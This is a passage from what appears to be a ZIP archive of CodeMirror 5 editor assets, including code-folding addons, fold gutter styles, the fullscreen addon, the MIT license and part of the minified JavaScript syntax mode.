          if (nextClose < 0) nextClose = text.length;
          pos = Math.min(nextOpen, nextClose);
          if (pos == text.length) break;
          if (cm.getTokenTypeAt(CodeMirror.Pos(i, pos + 1)) == found.tokenType) {
            if (pos == nextOpen) ++count;
            else if (!--count) { end = i; endCh = pos; break outer; }
          }
          ++pos;
        }
      }

      if (end == null || line == end) return null
      return {from: CodeMirror.Pos(line, startCh),
              to: CodeMirror.Pos(end, endCh)};
    }

    var found = []
    for (var i = 0; i < pairs.length; i++) {
      var open = findOpening(pairs[i])
      if (open) found.push(open)
    }
    found.sort(function(a, b) { return a.ch - b.ch })
    for (var i = 0; i < found.length; i++) {
      var range = findRange(found[i])
      if (range) return range
    }
    return null
  }
}

CodeMirror.registerHelper("fold", "brace", bracketFolding([["{", "}"], ["[", "]"]]));

CodeMirror.registerHelper("fold", "brace-paren", bracketFolding([["{", "}"], ["[", "]"], ["(", ")"]]));

CodeMirror.registerHelper("fold", "import", function(cm, start) {
  function hasImport(line) {
    if (line < cm.firstLine() || line > cm.lastLine()) return null;
    var start = cm.getTokenAt(CodeMirror.Pos(line, 1));
    if (!/\S/.test(start.string)) start = cm.getTokenAt(CodeMirror.Pos(line, start.end + 1));
    if (start.type != "keyword" || start.string != "import") return null;
    // Now find closing semicolon, return its position
    for (var i = line, e = Math.min(cm.lastLine(), line + 10); i <= e; ++i) {
      var text = cm.getLine(i), semi = text.indexOf(";");
      if (semi != -1) return {startCh: start.end, end: CodeMirror.Pos(i, semi)};
    }
  }

  var startLine = start.line, has = hasImport(startLine), prev;
  if (!has || hasImport(startLine - 1) || ((prev = hasImport(startLine - 2)) && prev.end.line == startLine - 1))
    return null;
  for (var end = has.end;;) {
    var next = hasImport(end.line + 1);
    if (next == null) break;
    end = next.end;
  }
  return {from: cm.clipPos(CodeMirror.Pos(startLine, has.startCh + 1)), to: end};
});

CodeMirror.registerHelper("fold", "include", function(cm, start) {
  function hasInclude(line) {
    if (line < cm.firstLine() || line > cm.lastLine()) return null;
    var start = cm.getTokenAt(CodeMirror.Pos(line, 1));
    if (!/\S/.test(start.string)) start = cm.getTokenAt(CodeMirror.Pos(line, start.end + 1));
    if (start.type == "meta" && start.string.slice(0, 8) == "#include") return start.start + 8;
  }

  var startLine = start.line, has = hasInclude(startLine);
  if (has == null || hasInclude(startLine - 1) != null) return null;
  for (var end = startLine;;) {
    var next = hasInclude(end + 1);
    if (next == null) break;
    ++end;
  }
  return {from: CodeMirror.Pos(startLine, has + 1),
          to: cm.clipPos(CodeMirror.Pos(end))};
});

});
PK     ]t]Ï™¼ÊŒ  Œ  +  assets/codemirror/addon/fold/indent-fold.jsnu ÕIw¶´        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/5/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

function lineIndent(cm, lineNo) {
  var text = cm.getLine(lineNo)
  var spaceTo = text.search(/\S/)
  if (spaceTo == -1 || /\bcomment\b/.test(cm.getTokenTypeAt(CodeMirror.Pos(lineNo, spaceTo + 1))))
    return -1
  return CodeMirror.countColumn(text, null, cm.getOption("tabSize"))
}

CodeMirror.registerHelper("fold", "indent", function(cm, start) {
  var myIndent = lineIndent(cm, start.line)
  if (myIndent < 0) return
  var lastLineInFold = null

  // Go through lines until we find a line that definitely doesn't belong in
  // the block we're folding, or to the end.
  for (var i = start.line + 1, end = cm.lastLine(); i <= end; ++i) {
    var indent = lineIndent(cm, i)
    if (indent == -1) {
    } else if (indent > myIndent) {
      // Lines with a greater indent are considered part of the block.
      lastLineInFold = i;
    } else {
      // If this line has non-space, non-comment content, and is
      // indented less or equal to the start line, it is the start of
      // another block.
      break;
    }
  }
  if (lastLineInFold) return {
    from: CodeMirror.Pos(start.line, cm.getLine(start.line).length),
    to: CodeMirror.Pos(lastLineInFold, cm.getLine(lastLineInFold).length)
  };
});

});
PK     ]t]—rù`,  ,  (  assets/codemirror/addon/fold/xml-fold.jsnu ÕIw¶´        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  var Pos = CodeMirror.Pos;
  function cmp(a, b) { return a.line - b.line || a.ch - b.ch; }

  var nameStartChar = "A-Z_a-z\\u00C0-\\u00D6\\u00D8-\\u00F6\\u00F8-\\u02FF\\u0370-\\u037D\\u037F-\\u1FFF\\u200C-\\u200D\\u2070-\\u218F\\u2C00-\\u2FEF\\u3001-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFFD";
  var nameChar = nameStartChar + "\-\:\.0-9\\u00B7\\u0300-\\u036F\\u203F-\\u2040";
  var xmlTagStart = new RegExp("<(/?)([" + nameStartChar + "][" + nameChar + "]*)", "g");

  function Iter(cm, line, ch, range) {
    this.line = line; this.ch = ch;
    this.cm = cm; this.text = cm.getLine(line);
    this.min = range ? Math.max(range.from, cm.firstLine()) : cm.firstLine();
    this.max = range ? Math.min(range.to - 1, cm.lastLine()) : cm.lastLine();
  }

  function tagAt(iter, ch) {
    var type = iter.cm.getTokenTypeAt(Pos(iter.line, ch));
    return type && /\btag\b/.test(type);
  }

  function nextLine(iter) {
    if (iter.line >= iter.max) return;
    iter.ch = 0;
    iter.text = iter.cm.getLine(++iter.line);
    return true;
  }
  function prevLine(iter) {
    if (iter.line <= iter.min) return;
    iter.text = iter.cm.getLine(--iter.line);
    iter.ch = iter.text.length;
    return true;
  }

  function toTagEnd(iter) {
    for (;;) {
      var gt = iter.text.indexOf(">", iter.ch);
      if (gt == -1) { if (nextLine(iter)) continue; else return; }
      if (!tagAt(iter, gt + 1)) { iter.ch = gt + 1; continue; }
      var lastSlash = iter.text.lastIndexOf("/", gt);
      var selfClose = lastSlash > -1 && !/\S/.test(iter.text.slice(lastSlash + 1, gt));
      iter.ch = gt + 1;
      return selfClose ? "selfClose" : "regular";
    }
  }
  function toTagStart(iter) {
    for (;;) {
      var lt = iter.ch ? iter.text.lastIndexOf("<", iter.ch - 1) : -1;
      if (lt == -1) { if (prevLine(iter)) continue; else return; }
      if (!tagAt(iter, lt + 1)) { iter.ch = lt; continue; }
      xmlTagStart.lastIndex = lt;
      iter.ch = lt;
      var match = xmlTagStart.exec(iter.text);
      if (match && match.index == lt) return match;
    }
  }

  function toNextTag(iter) {
    for (;;) {
      xmlTagStart.lastIndex = iter.ch;
      var found = xmlTagStart.exec(iter.text);
      if (!found) { if (nextLine(iter)) continue; else return; }
      if (!tagAt(iter, found.index + 1)) { iter.ch = found.index + 1; continue; }
      iter.ch = found.index + found[0].length;
      return found;
    }
  }
  function toPrevTag(iter) {
    for (;;) {
      var gt = iter.ch ? iter.text.lastIndexOf(">", iter.ch - 1) : -1;
      if (gt == -1) { if (prevLine(iter)) continue; else return; }
      if (!tagAt(iter, gt + 1)) { iter.ch = gt; continue; }
      var lastSlash = iter.text.lastIndexOf("/", gt);
      var selfClose = lastSlash > -1 && !/\S/.test(iter.text.slice(lastSlash + 1, gt));
      iter.ch = gt + 1;
      return selfClose ? "selfClose" : "regular";
    }
  }

  function findMatchingClose(iter, tag) {
    var stack = [];
    for (;;) {
      var next = toNextTag(iter), end, startLine = iter.line, startCh = iter.ch - (next ? next[0].length : 0);
      if (!next || !(end = toTagEnd(iter))) return;
      if (end == "selfClose") continue;
      if (next[1]) { // closing tag
        for (var i = stack.length - 1; i >= 0; --i) if (stack[i] == next[2]) {
          stack.length = i;
          break;
        }
        if (i < 0 && (!tag || tag == next[2])) return {
          tag: next[2],
          from: Pos(startLine, startCh),
          to: Pos(iter.line, iter.ch)
        };
      } else { // opening tag
        stack.push(next[2]);
      }
    }
  }
  function findMatchingOpen(iter, tag) {
    var stack = [];
    for (;;) {
      var prev = toPrevTag(iter);
      if (!prev) return;
      if (prev == "selfClose") { toTagStart(iter); continue; }
      var endLine = iter.line, endCh = iter.ch;
      var start = toTagStart(iter);
      if (!start) return;
      if (start[1]) { // closing tag
        stack.push(start[2]);
      } else { // opening tag
        for (var i = stack.length - 1; i >= 0; --i) if (stack[i] == start[2]) {
          stack.length = i;
          break;
        }
        if (i < 0 && (!tag || tag == start[2])) return {
          tag: start[2],
          from: Pos(iter.line, iter.ch),
          to: Pos(endLine, endCh)
        };
      }
    }
  }

  CodeMirror.registerHelper("fold", "xml", function(cm, start) {
    var iter = new Iter(cm, start.line, 0);
    for (;;) {
      var openTag = toNextTag(iter)
      if (!openTag || iter.line != start.line) return
      var end = toTagEnd(iter)
      if (!end) return
      if (!openTag[1] && end != "selfClose") {
        var startPos = Pos(iter.line, iter.ch);
        var endPos = findMatchingClose(iter, openTag[2]);
        return endPos && cmp(endPos.from, startPos) > 0 ? {from: startPos, to: endPos.from} : null
      }
    }
  });
  CodeMirror.findMatchingTag = function(cm, pos, range) {
    var iter = new Iter(cm, pos.line, pos.ch, range);
    if (iter.text.indexOf(">") == -1 && iter.text.indexOf("<") == -1) return;
    var end = toTagEnd(iter), to = end && Pos(iter.line, iter.ch);
    var start = end && toTagStart(iter);
    if (!end || !start || cmp(iter, pos) > 0) return;
    var here = {from: Pos(iter.line, iter.ch), to: to, tag: start[2]};
    if (end == "selfClose") return {open: here, close: null, at: "open"};

    if (start[1]) { // closing tag
      return {open: findMatchingOpen(iter, start[2]), close: here, at: "close"};
    } else { // opening tag
      iter = new Iter(cm, to.line, to.ch, range);
      return {open: here, close: findMatchingClose(iter, start[2]), at: "open"};
    }
  };

  CodeMirror.findEnclosingTag = function(cm, pos, range, tag) {
    var iter = new Iter(cm, pos.line, pos.ch, range);
    for (;;) {
      var open = findMatchingOpen(iter, tag);
      if (!open) break;
      var forward = new Iter(cm, pos.line, pos.ch, range);
      var close = findMatchingClose(forward, open.tag);
      if (close) return {open: open, close: close};
    }
  };

  // Used by addon/edit/closetag.js
  CodeMirror.scanForClosingTag = function(cm, pos, name, end) {
    var iter = new Iter(cm, pos.line, pos.ch, end ? {from: 0, to: end} : null);
    return findMatchingClose(iter, name);
  };
});
PK     ]t]ÉîÕRH  H  -  assets/codemirror/addon/fold/markdown-fold.jsnu ÕIw¶´        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/5/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.registerHelper("fold", "markdown", function(cm, start) {
  var maxDepth = 100;

  function isHeader(lineNo) {
    var tokentype = cm.getTokenTypeAt(CodeMirror.Pos(lineNo, 0));
    return tokentype && /\bheader\b/.test(tokentype);
  }

  function headerLevel(lineNo, line, nextLine) {
    var match = line && line.match(/^#+/);
    if (match && isHeader(lineNo)) return match[0].length;
    match = nextLine && nextLine.match(/^[=\-]+\s*$/);
    if (match && isHeader(lineNo + 1)) return nextLine[0] == "=" ? 1 : 2;
    return maxDepth;
  }

  var firstLine = cm.getLine(start.line), nextLine = cm.getLine(start.line + 1);
  var level = headerLevel(start.line, firstLine, nextLine);
  if (level === maxDepth) return undefined;

  var lastLineNo = cm.lastLine();
  var end = start.line, nextNextLine = cm.getLine(end + 2);
  while (end < lastLineNo) {
    if (headerLevel(end + 1, nextLine, nextNextLine) <= level) break;
    ++end;
    nextLine = nextNextLine;
    nextNextLine = cm.getLine(end + 2);
  }

  return {
    from: CodeMirror.Pos(start.line, firstLine.length),
    to: CodeMirror.Pos(end, cm.getLine(end).length)
  };
});

});
PK     ]t]Ê$J³  ³  +  assets/codemirror/addon/fold/foldgutter.cssnu ÕIw¶´        .CodeMirror-foldmarker {
  color: blue;
  text-shadow: #b9f 1px 1px 2px, #b9f -1px -1px 2px, #b9f 1px -1px 2px, #b9f -1px 1px 2px;
  font-family: arial;
  line-height: .3;
  cursor: pointer;
}
.CodeMirror-foldgutter {
  width: .7em;
}
.CodeMirror-foldgutter-open,
.CodeMirror-foldgutter-folded {
  cursor: pointer;
}
.CodeMirror-foldgutter-open:after {
  content: "\25BE";
}
.CodeMirror-foldgutter-folded:after {
  content: "\25B8";
}
PK     ]t]!½÷ÿt  t  ,  assets/codemirror/addon/fold/comment-fold.jsnu ÕIw¶´        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/5/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.registerGlobalHelper("fold", "comment", function(mode) {
  return mode.blockCommentStart && mode.blockCommentEnd;
}, function(cm, start) {
  var mode = cm.getModeAt(start), startToken = mode.blockCommentStart, endToken = mode.blockCommentEnd;
  if (!startToken || !endToken) return;
  var line = start.line, lineText = cm.getLine(line);

  var startCh;
  for (var at = start.ch, pass = 0;;) {
    var found = at <= 0 ? -1 : lineText.lastIndexOf(startToken, at - 1);
    if (found == -1) {
      if (pass == 1) return;
      pass = 1;
      at = lineText.length;
      continue;
    }
    if (pass == 1 && found < start.ch) return;
    if (/comment/.test(cm.getTokenTypeAt(CodeMirror.Pos(line, found + 1))) &&
        (found == 0 || lineText.slice(found - endToken.length, found) == endToken ||
         !/comment/.test(cm.getTokenTypeAt(CodeMirror.Pos(line, found))))) {
      startCh = found + startToken.length;
      break;
    }
    at = found - 1;
  }

  var depth = 1, lastLine = cm.lastLine(), end, endCh;
  outer: for (var i = line; i <= lastLine; ++i) {
    var text = cm.getLine(i), pos = i == line ? startCh : 0;
    for (;;) {
      var nextOpen = text.indexOf(startToken, pos), nextClose = text.indexOf(endToken, pos);
      if (nextOpen < 0) nextOpen = text.length;
      if (nextClose < 0) nextClose = text.length;
      pos = Math.min(nextOpen, nextClose);
      if (pos == text.length) break;
      if (pos == nextOpen) ++depth;
      else if (!--depth) { end = i; endCh = pos; break outer; }
      ++pos;
    }
  }
  if (end == null || line == end && endCh == startCh) return;
  return {from: CodeMirror.Pos(line, startCh),
          to: CodeMirror.Pos(end, endCh)};
});

});
PK     ]t]G€O7F  F  -  assets/codemirror/addon/display/fullscreen.jsnu ÕIw¶´        'use strict';(function(c){"object"==typeof exports&&"object"==typeof module?c(require("../../lib/codemirror")):"function"==typeof define&&define.amd?define(["../../lib/codemirror"],c):c(CodeMirror)})(function(c){c.defineOption("fullScreen",!1,function(d,a,b){b==c.Init&&(b=!1);!b!=!a&&(a?(a=d.getWrapperElement(),d.state.fullScreenRestore={scrollTop:window.pageYOffset,scrollLeft:window.pageXOffset,width:a.style.width,height:a.style.height},a.style.width="",a.style.height="auto",a.className+=" CodeMirror-fullscreen",
document.documentElement.style.overflow="hidden"):(a=d.getWrapperElement(),a.className=a.className.replace(/\s*CodeMirror-fullscreen\b/,""),document.documentElement.style.overflow="",b=d.state.fullScreenRestore,a.style.width=b.width,a.style.height=b.height,window.scrollTo(b.scrollLeft,b.scrollTop)),d.refresh())})});
PK     ]t]'C:Z   Z   .  assets/codemirror/addon/display/fullscreen.cssnu ÕIw¶´        .CodeMirror-fullscreen{position:fixed;top:0;left:0;right:0;bottom:0;height:auto;z-index:9}PK     ]t]X4W—  —    assets/codemirror/LICENSEnu ÕIw¶´        The MIT License (MIT)

Copyright (c) 2016 Marijn Haverbeke <marijnh@gmail.com> and others
Copyright (c) 2016 Michael Zhou <zhoumotongxue008@gmail.com>

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
PK     ]t]qµ9£í8  í8  /  assets/codemirror/mode/javascript/javascript.jsnu ÕIw¶´        'use strict';(function(p){"object"==typeof exports&&"object"==typeof module?p(require("../../lib/codemirror")):"function"==typeof define&&define.amd?define(["../../lib/codemirror"],p):p(CodeMirror)})(function(p){function ja(p,q,n){return/^(?:operator|sof|keyword c|case|new|export|default|[\[{}\(,;:]|=>)$/.test(q.lastType)||"quasi"==q.lastType&&/\{\s*$/.test(p.string.slice(0,p.pos-(n||0)))}p.defineMode("javascript",function(xa,q){function n(a,c,b){G=a;P=b;return c}function C(a,c){var b=a.next();if('"'==
b||"'"==b)return c.tokenize=ya(b),c.tokenize(a,c);if("."==b&&a.match(/^\d+(?:[eE][+\-]?\d+)?/))return n("number","number");if("."==b&&a.match(".."))return n("spread","meta");if(/[\[\]{}\(\),;\:\.]/.test(b))return n(b);if("="==b&&a.eat(">"))return n("=>","operator");if("0"==b&&a.eat(/x/i))return a.eatWhile(/[\da-f]/i),n("number","number");if("0"==b&&a.eat(/o/i))return a.eatWhile(/[0-7]/i),n("number","number");if("0"==b&&a.eat(/b/i))return a.eatWhile(/[01]/i),n("number","number");if(/\d/.test(b))return a.match(/^\d*(?:\.\d*)?(?:[eE][+\-]?\d+)?/),
n("number","number");if("/"==b){if(a.eat("*"))return c.tokenize=Q,Q(a,c);if(a.eat("/"))return a.skipToEnd(),n("comment","comment");if(ja(a,c,1)){a:for(var f=c=!1;null!=(b=a.next());){if(!c){if("/"==b&&!f)break a;"["==b?f=!0:f&&"]"==b&&(f=!1)}c=!c&&"\\"==b}a.match(/^\b(([gimyu])(?![gimyu]*\2))+\b/);return n("regexp","string-2")}a.eatWhile(R);return n("operator","operator",a.current())}if("`"==b)return c.tokenize=Z,Z(a,c);if("#"==b)return a.skipToEnd(),n("error","error");if(R.test(b))return">"==b&&
c.lexical&&">"==c.lexical.type||a.eatWhile(R),n("operator","operator",a.current());if(aa.test(b)){a.eatWhile(aa);b=a.current();if("."!=c.lastType){if(ka.propertyIsEnumerable(b))return a=ka[b],n(a.type,a.style,b);if("async"==b&&a.match(/^\s*[\(\w]/,!1))return n("async","keyword",b)}return n("variable","variable",b)}}function ya(a){return function(c,b){var f=!1,k;if(S&&"@"==c.peek()&&c.match(za))return b.tokenize=C,n("jsonld-keyword","meta");for(;null!=(k=c.next())&&(k!=a||f);)f=!f&&"\\"==k;f||(b.tokenize=
C);return n("string","string")}}function Q(a,c){for(var b=!1,f;f=a.next();){if("/"==f&&b){c.tokenize=C;break}b="*"==f}return n("comment","comment")}function Z(a,c){for(var b=!1,f;null!=(f=a.next());){if(!b&&("`"==f||"$"==f&&a.eat("{"))){c.tokenize=C;break}b=!b&&"\\"==f}return n("quasi","string-2",a.current())}function ba(a,c){c.fatArrowAt&&(c.fatArrowAt=null);var b=a.string.indexOf("=>",a.start);if(!(0>b)){if(v){var f=/:\s*(?:\w+(?:<[^>]*>|\[\])?|\{[^}]*\})\s*$/.exec(a.string.slice(a.start,b));f&&
(b=f.index)}for(var f=0,d=!1,b=b-1;0<=b;--b){var z=a.string.charAt(b),e="([{}])".indexOf(z);if(0<=e&&3>e){if(!f){++b;break}if(0==--f){"("==z&&(d=!0);break}}else if(3<=e&&6>e)++f;else if(aa.test(z))d=!0;else{if(/["'\/]/.test(z))return;if(d&&!f){++b;break}}}d&&!f&&(c.fatArrowAt=b)}}function ma(a,b,d,f,e,z){this.indented=a;this.column=b;this.type=d;this.prev=e;this.info=z;null!=f&&(this.align=f)}function g(){for(var a=arguments.length-1;0<=a;a--)d.cc.push(arguments[a])}function b(){g.apply(null,arguments);
return!0}function H(a){function b(b){for(;b;b=b.next)if(b.name==a)return!0;return!1}var k=d.state;d.marked="def";k.context?b(k.localVars)||(k.localVars={name:a,next:k.localVars}):!b(k.globalVars)&&q.globalVars&&(k.globalVars={name:a,next:k.globalVars})}function I(){d.state.context={prev:d.state.context,vars:d.state.localVars};d.state.localVars=Aa}function J(){d.state.localVars=d.state.context.vars;d.state.context=d.state.context.prev}function h(a,b){var c=function(){var c=d.state,k=c.indented;if("stat"==
c.lexical.type)k=c.lexical.indented;else for(var e=c.lexical;e&&")"==e.type&&e.align;e=e.prev)k=e.indented;c.lexical=new ma(k,d.stream.column(),a,null,c.lexical,b)};c.lex=!0;return c}function e(){var a=d.state;a.lexical.prev&&(")"==a.lexical.type&&(a.indented=a.lexical.indented),a.lexical=a.lexical.prev)}function l(a){function c(d){return d==a?b():";"==a?g():b(c)}return c}function r(a,c){return"var"==a?b(h("vardef",c.length),ca,l(";"),e):"keyword a"==a?b(h("form"),da,r,e):"keyword b"==a?b(h("form"),
r,e):"{"==a?b(h("}"),T,e):";"==a?b():"if"==a?("else"==d.state.lexical.info&&d.state.cc[d.state.cc.length-1]==e&&d.state.cc.pop()(),b(h("form"),da,r,e,na)):"function"==a?b(w):"for"==a?b(h("form"),Ba,r,e):"variable"==a?v&&"type"==c?(d.marked="keyword",b(t,l("operator"),t,l(";"))):b(h("stat"),Ca):"switch"==a?b(h("form"),da,l("{"),h("}","switch"),T,e,e):"case"==a?b(m,l(":")):"default"==a?b(l(":")):"catch"==a?b(h("form"),I,l("("),ea,l(")"),r,e,J):"class"==a?b(h("form"),oa,e):"export"==a?b(h("stat"),Da,
e):"import"==a?b(h("stat"),Ea,e):"module"==a?b(h("form"),x,l("{"),h("}"),T,e,e):"async"==a?b(r):"@"==c?b(m,r):g(h("stat"),m,l(";"),e)}function m(a){return pa(a,!1)}function u(a){return pa(a,!0)}function da(a){return"("!=a?g():b(h(")"),m,l(")"),e)}function pa(a,c){if(d.state.fatArrowAt==d.stream.start){var k=c?qa:ra;if("("==a)return b(I,h(")"),y(x,")"),e,l("=>"),k,J);if("variable"==a)return g(I,x,l("=>"),k,J)}k=c?K:D;return Fa.hasOwnProperty(a)?b(k):"function"==a?b(w,k):"class"==a?b(h("form"),Ga,e):
"keyword c"==a||"async"==a?b(c?Ha:fa):"("==a?b(h(")"),fa,l(")"),e,k):"operator"==a||"spread"==a?b(c?u:m):"["==a?b(h("]"),Ia,e,k):"{"==a?L(ga,"}",null,k):"quasi"==a?g(U,k):"new"==a?b(Ja(c)):b()}function fa(a){return a.match(/[;\}\)\],]/)?g():g(m)}function Ha(a){return a.match(/[;\}\)\],]/)?g():g(u)}function D(a,c){return","==a?b(m):K(a,c,!1)}function K(a,c,k){var f=0==k?D:K,la=0==k?m:u;if("=>"==a)return b(I,k?qa:ra,J);if("operator"==a)return/\+\+|--/.test(c)?b(f):"?"==c?b(m,l(":"),la):b(la);if("quasi"==
a)return g(U,f);if(";"!=a){if("("==a)return L(u,")","call",f);if("."==a)return b(Ka,f);if("["==a)return b(h("]"),fa,l("]"),e,f);if(v&&"as"==c)return d.marked="keyword",b(t,f)}}function U(a,c){return"quasi"!=a?g():"${"!=c.slice(c.length-2)?b(U):b(m,La)}function La(a){if("}"==a)return d.marked="string-2",d.state.tokenize=Z,b(U)}function ra(a){ba(d.stream,d.state);return g("{"==a?r:m)}function qa(a){ba(d.stream,d.state);return g("{"==a?r:u)}function Ja(a){return function(c){return"."==c?b(a?Ma:Na):g(a?
u:m)}}function Na(a,c){if("target"==c)return d.marked="keyword",b(D)}function Ma(a,c){if("target"==c)return d.marked="keyword",b(K)}function Ca(a){return":"==a?b(e,r):g(D,l(";"),e)}function Ka(a){if("variable"==a)return d.marked="property",b()}function ga(a,c){if("async"==a)return d.marked="property",b(ga);if("variable"==a||"keyword"==d.style)return d.marked="property","get"==c||"set"==c?b(Oa):b(A);if("number"==a||"string"==a)return d.marked=S?"property":d.style+" property",b(A);if("jsonld-keyword"==
a)return b(A);if("modifier"==a)return b(ga);if("["==a)return b(m,l("]"),A);if("spread"==a)return b(m,A);if(":"==a)return g(A)}function Oa(a){if("variable"!=a)return g(A);d.marked="property";return b(w)}function A(a){if(":"==a)return b(u);if("("==a)return g(w)}function y(a,c,k){function f(e,z){return(k?-1<k.indexOf(e):","==e)?(e=d.state.lexical,"call"==e.info&&(e.pos=(e.pos||0)+1),b(function(b,f){return b==c||f==c?g():g(a)},f)):e==c||z==c?b():b(l(c))}return function(d,e){return d==c||e==c?b():g(a,
f)}}function L(a,c,k){for(var f=3;f<arguments.length;f++)d.cc.push(arguments[f]);return b(h(c,k),y(a,c),e)}function T(a){return"}"==a?b():g(r,T)}function M(a,c){if(v){if(":"==a)return b(t);if("?"==c)return b(M)}}function t(a){if("variable"==a)return d.marked="type",b(N);if("string"==a||"number"==a||"atom"==a)return b(N);if("{"==a)return b(h("}"),y(V,"}",",;"),e,N);if("("==a)return b(y(sa,")"),Pa)}function Pa(a){if("=>"==a)return b(t)}function V(a,c){if("variable"==a||"keyword"==d.style)return d.marked=
"property",b(V);if("?"==c)return b(V);if(":"==a)return b(t);if("["==a)return b(m,M,l("]"),V)}function sa(a){if("variable"==a)return b(sa);if(":"==a)return b(t)}function N(a,c){if("<"==c)return b(h(">"),y(t,">"),e,N);if("|"==c||"."==a)return b(t);if("["==a)return b(l("]"),N);if("extends"==c)return b(t)}function ca(){return g(x,M,O,Qa)}function x(a,c){if("modifier"==a)return b(x);if("variable"==a)return H(c),b();if("spread"==a)return b(x);if("["==a)return L(x,"]");if("{"==a)return L(Ra,"}")}function Ra(a,
c){if("variable"==a&&!d.stream.match(/^\s*:/,!1))return H(c),b(O);"variable"==a&&(d.marked="property");return"spread"==a?b(x):"}"==a?g():b(l(":"),x,O)}function O(a,c){if("="==c)return b(u)}function Qa(a){if(","==a)return b(ca)}function na(a,c){if("keyword b"==a&&"else"==c)return b(h("form","else"),r,e)}function Ba(a){if("("==a)return b(h(")"),Sa,l(")"),e)}function Sa(a){return"var"==a?b(ca,l(";"),W):";"==a?b(W):"variable"==a?b(Ta):g(m,l(";"),W)}function Ta(a,c){return"in"==c||"of"==c?(d.marked="keyword",
b(m)):b(D,W)}function W(a,c){return";"==a?b(ta):"in"==c||"of"==c?(d.marked="keyword",b(m)):g(m,l(";"),ta)}function ta(a){")"!=a&&b(m)}function w(a,c){if("*"==c)return d.marked="keyword",b(w);if("variable"==a)return H(c),b(w);if("("==a)return b(I,h(")"),y(ea,")"),e,M,r,J);if(v&&"<"==c)return b(h(">"),y(t,">"),e,w)}function ea(a){return"spread"==a?b(ea):g(x,M,O)}function Ga(a,b){return"variable"==a?oa(a,b):X(a,b)}function oa(a,c){if("variable"==a)return H(c),b(X)}function X(a,c){if("<"==c)return b(h(">"),
y(t,">"),e,X);if("extends"==c||"implements"==c||v&&","==a)return b(v?t:m,X);if("{"==a)return b(h("}"),B,e)}function B(a,c){if("variable"==a||"keyword"==d.style){if(("async"==c||"static"==c||"get"==c||"set"==c||v&&("public"==c||"private"==c||"protected"==c||"readonly"==c||"abstract"==c))&&d.stream.match(/^\s+[\w$\xa1-\uffff]/,!1))return d.marked="keyword",b(B);d.marked="property";return b(v?ha:w,B)}if("["==a)return b(m,l("]"),v?ha:w,B);if("*"==c)return d.marked="keyword",b(B);if(";"==a)return b(B);
if("}"==a)return b();if("@"==c)return b(m,B)}function ha(a,c){return"?"==c?b(ha):":"==a?b(t,O):"="==c?b(u):g(w)}function Da(a,c){return"*"==c?(d.marked="keyword",b(ia,l(";"))):"default"==c?(d.marked="keyword",b(m,l(";"))):"{"==a?b(y(ua,"}"),ia,l(";")):g(r)}function ua(a,c){if("as"==c)return d.marked="keyword",b(l("variable"));if("variable"==a)return g(u,ua)}function Ea(a){return"string"==a?b():g(Y,va,ia)}function Y(a,c){if("{"==a)return L(Y,"}");"variable"==a&&H(c);"*"==c&&(d.marked="keyword");return b(Ua)}
function va(a){if(","==a)return b(Y,va)}function Ua(a,c){if("as"==c)return d.marked="keyword",b(Y)}function ia(a,c){if("from"==c)return d.marked="keyword",b(m)}function Ia(a){return"]"==a?b():g(y(u,"]"))}var E=xa.indentUnit,wa=q.statementIndent,S=q.jsonld,F=q.json||S,v=q.typescript,aa=q.wordCharacters||/[\w$\xa1-\uffff]/,ka=function(){function a(a){return{type:a,style:"keyword"}}var b=a("keyword a"),d=a("keyword b"),f=a("keyword c"),e=a("operator"),g={type:"atom",style:"atom"},b={"if":a("if"),"while":b,
"with":b,"else":d,"do":d,"try":d,"finally":d,"return":f,"break":f,"continue":f,"new":a("new"),"delete":f,"throw":f,"debugger":f,"var":a("var"),"const":a("var"),let:a("var"),"function":a("function"),"catch":a("catch"),"for":a("for"),"switch":a("switch"),"case":a("case"),"default":a("default"),"in":e,"typeof":e,"instanceof":e,"true":g,"false":g,"null":g,undefined:g,NaN:g,Infinity:g,"this":a("this"),"class":a("class"),"super":a("atom"),yield:f,"export":a("export"),"import":a("import"),"extends":f,await:f};
